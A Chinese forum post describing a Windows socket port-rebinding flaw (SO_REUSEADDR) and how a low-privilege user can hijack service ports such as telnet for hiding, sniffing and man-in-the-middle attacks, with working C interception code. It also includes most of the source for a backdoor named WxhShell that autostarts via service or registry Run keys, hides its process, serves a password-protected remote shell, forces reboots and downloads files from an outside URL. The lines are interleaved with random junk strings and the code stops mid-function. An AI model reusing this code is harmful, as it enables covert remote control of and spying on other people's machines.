社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13201阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KICy! "af  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lt 74`9,f  
()L[l@m  
  saddr.sin_family = AF_INET; [:Kl0m7  
*3 .+19Q  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8!87p?Mz  
R_iQLBrd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3Z.<=D  
&K Ti[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 D*!p8J8Ku  
^~iu),gu  
  这意味着什么?意味着可以进行如下的攻击: .{,PC  
yTj!(C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pRS+vV3  
@ 63Uk2{W>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OhUEp g[  
rGjP|v@3^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iDp'M`(6h  
uLok0"}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $ {29[hO  
}"k+e^0^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k e$g[g  
&fH;A X.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 tNsiokOm  
<\i}zoPO  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vU5a`0mH  
C:Tjue{G2  
  #include )*!"6d)^  
  #include J=QuZwt  
  #include 2M`]nAk2a  
  #include    ~zdHJ8tYp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $$my,:nH  
  int main() 9='a9\((mH  
  { a:$hK%^ \  
  WORD wVersionRequested; x4@v$phyH  
  DWORD ret; d1MY>zq  
  WSADATA wsaData; cWG>w6FI  
  BOOL val; VRr_s:CWK  
  SOCKADDR_IN saddr; h>jLhj<07W  
  SOCKADDR_IN scaddr; wNzALfS  
  int err; tu.Tvtudzj  
  SOCKET s; & w%%{lM  
  SOCKET sc; RY8Ot2DWi  
  int caddsize; #Av6BGM|,  
  HANDLE mt; QuEfV?)_4  
  DWORD tid;   IB~`Ht8 b  
  wVersionRequested = MAKEWORD( 2, 2 ); ]`[r=cG  
  err = WSAStartup( wVersionRequested, &wsaData ); RZwjc<T  
  if ( err != 0 ) { 6g\SJ O-;N  
  printf("error!WSAStartup failed!\n"); tG1,AkyZ  
  return -1; r?^[o  
  } j+B+>r ^  
  saddr.sin_family = AF_INET; g.3 . C?  
   xc|pl!ns  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \_H-TbU8  
(?luV#{5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vAeh#V~#  
  saddr.sin_port = htons(23); wD(1Sr5n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <Uz~V;  
  { R4xoc;b  
  printf("error!socket failed!\n"); rLt`=bl&&U  
  return -1; 0MV^-M   
  } 3I|&}+Z6  
  val = TRUE; 4}mp~AXy;z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CHeU`!:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /$]#L%   
  { p8yn? ~]^  
  printf("error!setsockopt failed!\n"); EVovx7dr  
  return -1; !uIT5D  
  } j Wa%vA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l# -4}95  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T(< [k:`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8#NI`s*  
+o{]0~ y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CYIp 3D'k  
  { uU_0t;oR3  
  ret=GetLastError(); l| / tKW  
  printf("error!bind failed!\n"); y^M ~zOe  
  return -1; -68E]O  
  } xLUgbql-  
  listen(s,2); F%Te0l  
  while(1) q(tdBd'o6  
  { () l#}H`m  
  caddsize = sizeof(scaddr); \>8r)xC  
  //接受连接请求 .#py5&`%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @I\&-Z ^  
  if(sc!=INVALID_SOCKET) gEWKM(5B}  
  { fpj,~+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QfLDyJv`e  
  if(mt==NULL) &4g]#A>@  
  { 6 [q<%wA  
  printf("Thread Creat Failed!\n"); desrKnY  
  break; :o!bz>T  
  } ~ NO9s  
  } .f+ul@o  
  CloseHandle(mt); tS$^k)ZXip  
  } O\=U'6 @  
  closesocket(s); B,`B!rU  
  WSACleanup(); ]{tnNr>mv  
  return 0; v37TDY3;  
  }   L^}i7nJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) RbexsBq  
  { D%tcYI(  
  SOCKET ss = (SOCKET)lpParam; aT v  
  SOCKET sc; )v1y P  
  unsigned char buf[4096]; p&Os5zw;|  
  SOCKADDR_IN saddr; D{%l 4og  
  long num; }3G`f> s  
  DWORD val; /h/f&3'h  
  DWORD ret; /h)_Q;35S;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]Q?`|a+i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H9d! -9I  
  saddr.sin_family = AF_INET; DK!QGATh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j3<|X  
  saddr.sin_port = htons(23); 3<5E254N  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P>*B{fi^  
  { m@|0iDS  
  printf("error!socket failed!\n"); #>I*c _-  
  return -1; v'x)AbbC  
  } ^lF'KW$  
  val = 100; s7x&x;-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'X()|{  
  { [2]Ti_ >D  
  ret = GetLastError(); IK:F~I  
  return -1; u@( z(P  
  } s-\.j-Sa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^/K]id7 2  
  { p2v+sWO  
  ret = GetLastError(); 3^ct;gz  
  return -1; %kod31X3<  
  } xJ/<G$LNJ0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5xHP5+&  
  { WtT* 1Z  
  printf("error!socket connect failed!\n"); z>\vYR$  
  closesocket(sc); 9Ai e$=  
  closesocket(ss); 3ID 1>  
  return -1; pZpAb+  
  } ~EYsUC#B_  
  while(1) (\CT "u-  
  { f)~j'e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +[ +4h}?  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A Th<=1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 z.NJu q  
  num = recv(ss,buf,4096,0); YQ\c0XG  
  if(num>0)  73:y&U  
  send(sc,buf,num,0); NU>'$s  
  else if(num==0) # :^aE|s  
  break; 17-D\ +}  
  num = recv(sc,buf,4096,0); ;zMZ+GZ?;+  
  if(num>0) vG`;2laY  
  send(ss,buf,num,0); /7s^OkQ  
  else if(num==0) *bi!iz5F  
  break; *.4VO+^  
  } Y|*a,H"_  
  closesocket(ss); OGDCC/  
  closesocket(sc); 0j =xWC  
  return 0 ; ;y"=3-=vM"  
  } =Nyq1~   
Ukf4Q\@w  
cip"9|"  
========================================================== {S+  $C  
!$q *~F"S  
下边附上一个代码,,WXhSHELL cO&(&*J r  
XZ|%9#6  
========================================================== *wSz2o),  
(%bqeI!ob  
#include "stdafx.h" )D_\~n/5  
vlygS(Y_7  
#include <stdio.h> Thlqe?  
#include <string.h> N ,8^AUJ3&  
#include <windows.h> OA_WjTwDs  
#include <winsock2.h> f Fr[ &\[  
#include <winsvc.h> Q+Sx5JUR~  
#include <urlmon.h> vz\^Aa #fv  
OoG Nij  
#pragma comment (lib, "Ws2_32.lib")  BZ'63  
#pragma comment (lib, "urlmon.lib") 2 Nr*  
&d!Q%  
#define MAX_USER   100 // 最大客户端连接数 HDV@d^]-  
#define BUF_SOCK   200 // sock buffer 4#dS.UfI  
#define KEY_BUFF   255 // 输入 buffer iSiez'  
_4Ciai2Ql  
#define REBOOT     0   // 重启 " R=,W{=  
#define SHUTDOWN   1   // 关机 #i t)  
!=-{$& {  
#define DEF_PORT   5000 // 监听端口 fz9 ,p;b  
~8A !..Z  
#define REG_LEN     16   // 注册表键长度 ^ UB*Q  
#define SVC_LEN     80   // NT服务名长度 ZxDh94w/  
(IE\}QcK  
// 从dll定义API I%8>nMTJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ><l|&&e-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;J]Lzh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sQIzcnKB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Vo G`@^s  
a 8(mU%  
// wxhshell配置信息 ` oPUf!  
struct WSCFG { =!?4$vW  
  int ws_port;         // 监听端口 @(b;H0r~  
  char ws_passstr[REG_LEN]; // 口令 AW\#)Em  
  int ws_autoins;       // 安装标记, 1=yes 0=no qm!&(8NfK  
  char ws_regname[REG_LEN]; // 注册表键名 ?y1G,0,  
  char ws_svcname[REG_LEN]; // 服务名 ZQ MK1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p+ki1! Ed  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .huk>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @xq jAcfg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a7Xa3 vlpO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (**k4c,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H N )@sLPc  
eHIsTL@Fp  
}; <kc9KE  
zfm-v U  
// default Wxhshell configuration Omkpjr(1  
struct WSCFG wscfg={DEF_PORT, aR c2#:~;  
    "xuhuanlingzhe", Xy[*)<  
    1, ,`su0P\%#.  
    "Wxhshell", Klv~#9Si  
    "Wxhshell", JX $vz*KF  
            "WxhShell Service", }O7!>T  
    "Wrsky Windows CmdShell Service", pS) &d4i  
    "Please Input Your Password: ", ]b&"](A  
  1, #rps2nf.j  
  "http://www.wrsky.com/wxhshell.exe", v}>5!*  
  "Wxhshell.exe" 0v"h /  
    }; JKJ+RkXf3  
]"T1clZKd(  
// 消息定义模块 It@1!_tO2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MlVVST  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u?a4v\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P c'0.4  
char *msg_ws_ext="\n\rExit."; 5 `Mos  
char *msg_ws_end="\n\rQuit."; ]ssX,1#Xh  
char *msg_ws_boot="\n\rReboot..."; 5Mb5t;4b  
char *msg_ws_poff="\n\rShutdown..."; 1dE |q{  
char *msg_ws_down="\n\rSave to "; asLvJ{d8s  
Iu=n$H  
char *msg_ws_err="\n\rErr!"; }Q<c E$c  
char *msg_ws_ok="\n\rOK!"; q_G O;-b{  
7hq$vI%0  
char ExeFile[MAX_PATH]; xDtJ& 6uFw  
int nUser = 0; 5@3hb]J  
HANDLE handles[MAX_USER]; ej^pFo  
int OsIsNt; '|jN!y^ 2p  
v;_k*y[VV$  
SERVICE_STATUS       serviceStatus; &>KZ4%&?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0Xe?{!@a  
\c .^^8r  
// 函数声明 XW2{I.:in>  
int Install(void); Dau'VtzN  
int Uninstall(void); Bq# l8u  
int DownloadFile(char *sURL, SOCKET wsh); 8 FJ>W.  
int Boot(int flag); m0$~O5|4  
void HideProc(void); -h|YS/$f  
int GetOsVer(void); RY\[[eG  
int Wxhshell(SOCKET wsl); ! ,v!7I  
void TalkWithClient(void *cs); zF-M9f$_PY  
int CmdShell(SOCKET sock); FKVf_Ncf%  
int StartFromService(void); nUy2)CL[L  
int StartWxhshell(LPSTR lpCmdLine);  0+P[0  
e ab_"W   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2(%C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ V:@4P  
X v2u7T\  
// 数据结构和表定义 9D+B~8[SQ  
SERVICE_TABLE_ENTRY DispatchTable[] = ,!{/Y7PmJ  
{ +Vsd%AnN"l  
{wscfg.ws_svcname, NTServiceMain}, fMSB  
{NULL, NULL} l^WPv/}?  
}; /P}Wp[)u  
F%s'R 0l  
// 自我安装 ZR"BxE0_k  
int Install(void) ML= :&M!ao  
{ OqW (C  
  char svExeFile[MAX_PATH]; d7)EzW|I;  
  HKEY key; jy kY8;4  
  strcpy(svExeFile,ExeFile); 8t$w/#'@  
qEW3k),  
// 如果是win9x系统,修改注册表设为自启动 to%n2^^K  
if(!OsIsNt) { y G{;kJ P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !JOM+P:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x[w!buV0\  
  RegCloseKey(key); k NnI$(H"H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~UhTy~jya  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^XbN&'^,HL  
  RegCloseKey(key); l^"HcP6  
  return 0; zK@DQ5  
    } s+jL BY  
  } 9bVPMq7}i  
} U$+G9  
else { rERHfr`OU  
ySXQn#}-,  
// 如果是NT以上系统,安装为系统服务 D3MRRv#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <6(&w9WY  
if (schSCManager!=0) h,u?3}Knnb  
{ zwEZ?m!  
  SC_HANDLE schService = CreateService \A'tV/YAd  
  ( D$OUy}[2`.  
  schSCManager, lgL|[ik`  
  wscfg.ws_svcname, n\x@~ SzrX  
  wscfg.ws_svcdisp, )vcyoq  
  SERVICE_ALL_ACCESS, XFx p^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , re-;s  
  SERVICE_AUTO_START, pk&;5|cCD  
  SERVICE_ERROR_NORMAL, i[\`]C{gf  
  svExeFile, }wkZ\q[  
  NULL, = "N?v-  
  NULL, 61"w>;d6  
  NULL, pMy];9SvW  
  NULL, x6BO%1  
  NULL 1P17]j2C  
  ); ow!NH,'Hy  
  if (schService!=0) 2xEG s Q  
  { F4xXJ"vc  
  CloseServiceHandle(schService); aVXk8zuL  
  CloseServiceHandle(schSCManager); |@Mx? (  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K:3u/C`  
  strcat(svExeFile,wscfg.ws_svcname); btZ9JZvMx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q0a8=o"|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \dzHG/e  
  RegCloseKey(key); =8!FY"c*  
  return 0; Munal=wL  
    } 3gcDc~~=  
  } 1q Jz;\wU  
  CloseServiceHandle(schSCManager); aGRD`ra  
} 8qi6>}A  
} 6bXP{,}Gp  
TjswB#  
return 1; <8[y2|UBt  
} wP: w8O  
f'>270pH  
// 自我卸载 8M DX()Bm  
int Uninstall(void) ~s[St0  
{ j0F'I*Z3  
  HKEY key; `1T?\  
-? |-ux  
if(!OsIsNt) { U/|;u;H=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %JsCw8C6?  
  RegDeleteValue(key,wscfg.ws_regname); MS~|F^g  
  RegCloseKey(key); %9qG|A,cA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F6$QEiDu@  
  RegDeleteValue(key,wscfg.ws_regname); A3Lfh6O  
  RegCloseKey(key); jZ5 mpYUO  
  return 0; K\2UwX  
  } ;:/<XfZ  
} 9:\YEs"  
} PU\?eA  
else { :qQpBr$  
{ejJI/o0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); />EH]-|  
if (schSCManager!=0) 6*({ZE  
{ CI~P3"`]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b# RTHe&X  
  if (schService!=0) }0 BKKU+  
  { -x)zyq6  
  if(DeleteService(schService)!=0) { <Z -d5D>  
  CloseServiceHandle(schService); 1l(_SD;90t  
  CloseServiceHandle(schSCManager); u*aFWl]=  
  return 0;  >>nt3q  
  } l\NVnXv:>  
  CloseServiceHandle(schService); P0 va=H  
  } _?+gfi+  
  CloseServiceHandle(schSCManager); ]sbj8  
} rz  
} b;;C><  
AusCU~:>  
return 1; Xaca=tsO  
} =(-oQ<@v  
A{3?G -]*  
// 从指定url下载文件 ju AUeGT  
int DownloadFile(char *sURL, SOCKET wsh) _W3>Km-A=/  
{ -b7q)%V  
  HRESULT hr; ;Az9p h  
char seps[]= "/"; j1yW{  
char *token; tsLi5;KA]  
char *file; _^;;vR%   
char myURL[MAX_PATH]; \U0p?wdr:  
char myFILE[MAX_PATH]; Pl>S1  
t5qNfiKC  
strcpy(myURL,sURL); VEuT!^0Z  
  token=strtok(myURL,seps); Jbmi[` O  
  while(token!=NULL) \"X<\3z2  
  { >H*?ktcW  
    file=token; F_?aoP&5  
  token=strtok(NULL,seps); @ z{E  
  } PS13h_j  
n'&Cr0{  
GetCurrentDirectory(MAX_PATH,myFILE); _2wU(XYH  
strcat(myFILE, "\\"); !='?+Ysxs  
strcat(myFILE, file); S"/M+m+ ]  
  send(wsh,myFILE,strlen(myFILE),0); T"NDL[*  
send(wsh,"...",3,0); {}#W~1`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %p R: .u|  
  if(hr==S_OK) :+G1=TuXw~  
return 0; BfcpB)N&.K  
else *A>I)a<:  
return 1; QNk\y@yKw  
.BWCGb2bH  
} Do3g^RD#  
ZP]l%6\.  
// 系统电源模块 }qa8o  
int Boot(int flag) .sO.Y<- fl  
{ %B ,>6 `[  
  HANDLE hToken; h^tU*"   
  TOKEN_PRIVILEGES tkp; xw)$).yc  
ex- 0@  
  if(OsIsNt) { bw@"MF{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [xTu29X.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mihR *8p  
    tkp.PrivilegeCount = 1; |fJpX5W-l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w=]bj0<A=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); S:*.,zC  
if(flag==REBOOT) { AWY#t&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 123 6W+  
  return 0; [+q':T1W-  
} TT'sO[N[  
else { /O@dqEbc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OF4iGFw  
  return 0; (.:!_OB0N  
} ZW6ZO[`6  
  } M_5$y )M  
  else { #`1@4,iC  
if(flag==REBOOT) { s bxOnw P\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sNet[y:O3  
  return 0; y rSTU-5u  
} L=ala1{O  
else { ^UB<U#8,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ': }  
  return 0; xXCSaBS~  
} :r{;'[38  
} ?l6NQ;z  
^9{mjy0Q  
return 1; ^F>C|FJ2  
} yc#0c[ZQu  
lji&]^1  
// win9x进程隐藏模块 ifA)Ppt<`  
void HideProc(void) 8BL ]]gT-I  
{ *gq~~(jH  
Z'vic#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O>5xFz'm  
  if ( hKernel != NULL ) QO0#p1fom'  
  { q&j4PR{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <vMdfw"(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4\cJ}p}LZ{  
    FreeLibrary(hKernel); ~HW}Wik  
  } Znv3h  
xJQ-k/`  
return; &2~c,] 9C  
} o@&Hc bN^  
5#DtaVz  
// 获取操作系统版本 b6@(UneVM  
int GetOsVer(void) Zj(2$9IU  
{ ~^&]8~m*d  
  OSVERSIONINFO winfo; jp~C''Sj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #s4v0auK  
  GetVersionEx(&winfo); /$q9 Kxb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (}]ae*  
  return 1;  rq[+p  
  else d]89DdZk  
  return 0; )_m#|U?Rex  
} [>rX/a%c  
Ewfzjc  
// 客户端句柄模块 j9V*f HK  
int Wxhshell(SOCKET wsl) kw%vO6"q(  
{ N8]DW_bsB  
  SOCKET wsh; kM#ZpI&0%  
  struct sockaddr_in client; `t@Rh~B  
  DWORD myID; 7Fg-}lJAC  
:o)4Y  
  while(nUser<MAX_USER) l,I[r$TCf  
{ p\"WX  
  int nSize=sizeof(client); lURL;h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6X2~30pdE  
  if(wsh==INVALID_SOCKET) return 1; 5IwQ <V  
sQ4~oZZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )IFzal}o  
if(handles[nUser]==0) 8P kw'.r  
  closesocket(wsh); $KmhG1*s  
else Y(qyuS3h~*  
  nUser++; sX8?U,u  
  } 7U@;X~c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i9QL}d  
5Tl3k=o}  
  return 0; P?.j wI  
} 3M?vK(zG>P  
c]u^0X?&  
// 关闭 socket "JH / ODm  
void CloseIt(SOCKET wsh) [m}58?0~x  
{ da'7* &/  
closesocket(wsh); ,KfBG<3   
nUser--; dbmty|d  
ExitThread(0); Y &G]M  
} \Q CH.~]  
<b5J"i&m  
// 客户端请求句柄 ?3I93Bt7  
void TalkWithClient(void *cs) F!LVyY"w  
{ -W#-m'Lvu  
'Q^P#<<  
  SOCKET wsh=(SOCKET)cs; l2AAEB_C.  
  char pwd[SVC_LEN]; @TvoCDeI  
  char cmd[KEY_BUFF]; 8 [z<gxP`?  
char chr[1]; K}r@O"6*\  
int i,j; A9?h*/$  
/]_a\x5Ss  
  while (nUser < MAX_USER) { ;RmL'  
rA">< pH  
if(wscfg.ws_passstr) { P B W.nm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ug|'}\LY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }'"4q  
  //ZeroMemory(pwd,KEY_BUFF); #dd-rooQuD  
      i=0; Ykt{]#  
  while(i<SVC_LEN) { B!;qz[]I  
AP2BND9  
  // 设置超时  Uu<Tn#nb  
  fd_set FdRead; 6F@2:]W  
  struct timeval TimeOut; SEL7,8 Hm  
  FD_ZERO(&FdRead); bnm3 cR:h"  
  FD_SET(wsh,&FdRead); lrE|>R  
  TimeOut.tv_sec=8; 8|*=p4_fn  
  TimeOut.tv_usec=0; NIzxSGk|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3RW3<n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HxH.=M8S_  
-UhSy>m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AXQG  
  pwd=chr[0]; aCwb[7N  
  if(chr[0]==0xd || chr[0]==0xa) { hv6w=?7  
  pwd=0; 8.g (&F  
  break; +FYQ7UE  
  } +1R qo  
  i++; ;)SWUXa;{  
    } LK?V`J5wY  
Q)H1\  
  // 如果是非法用户,关闭 socket M.[A%_|P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r N.<S[  
} P XH"%vVF  
MV~-']2u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^EG@tB $<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7p!w(N?s  
VkD8h+)  
while(1) { C4`u3S  
,^>WC G  
  ZeroMemory(cmd,KEY_BUFF); q3~RK[OCq  
{e3XmVAI  
      // 自动支持客户端 telnet标准   ]t23qA@^2  
  j=0; z1WF@ Ej  
  while(j<KEY_BUFF) { Hf ]w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {|jrYU.k~  
  cmd[j]=chr[0]; 4)IRm2G  
  if(chr[0]==0xa || chr[0]==0xd) { %"1*,g{  
  cmd[j]=0; MmvMuX]#)  
  break; (16U]s  
  } EE^ N01<"\  
  j++; 1l~(J:DT  
    } Y XBU9T{r  
(Vvs:h%H  
  // 下载文件 >`@c9 m  
  if(strstr(cmd,"http://")) { tR;? o,T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s*XwU  
  if(DownloadFile(cmd,wsh)) itp$c|{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Hn*|+'  
  else ^LO`6,   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #fb <\!iza  
  } rl <! h5  
  else { d- wbZ)BR  
&>0ape  
    switch(cmd[0]) { +mr\AAFn  
  HLP nbI-+  
  // 帮助 JLZ[sWP='  
  case '?': { ~I+}u]J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q,W6wM;,E  
    break; pO;BX5(x  
  } L&i_  
  // 安装 )/:r $n7  
  case 'i': { XHN`f#(w  
    if(Install()) w(y#{!%+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =36e&z-#  
    else upJ|`,G{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :N3'$M"  
    break; /!u#S9_B  
    } K)h\X~s  
  // 卸载 wl*"Vagb  
  case 'r': { sbZ^BFqp  
    if(Uninstall()) x+L G4++  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lF=l|.c  
    else <Bmqox0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jMT];%$[  
    break; ~HR/FGe?N  
    } 6L2Si4OGjG  
  // 显示 wxhshell 所在路径 vfh0aW-O  
  case 'p': { \[-z4Fxg|'  
    char svExeFile[MAX_PATH]; LEUD6 M+~t  
    strcpy(svExeFile,"\n\r"); !*U#,qY  
      strcat(svExeFile,ExeFile); >-~2:d\M3  
        send(wsh,svExeFile,strlen(svExeFile),0); Gob;dku  
    break; `$X|VAS2  
    } T}?vp~./   
  // 重启 K}]0<\N  
  case 'b': { 6Wos6_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \n @S.Y?P  
    if(Boot(REBOOT)) (f5v{S6b(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e|L$e0  
    else { R/yOy ^<  
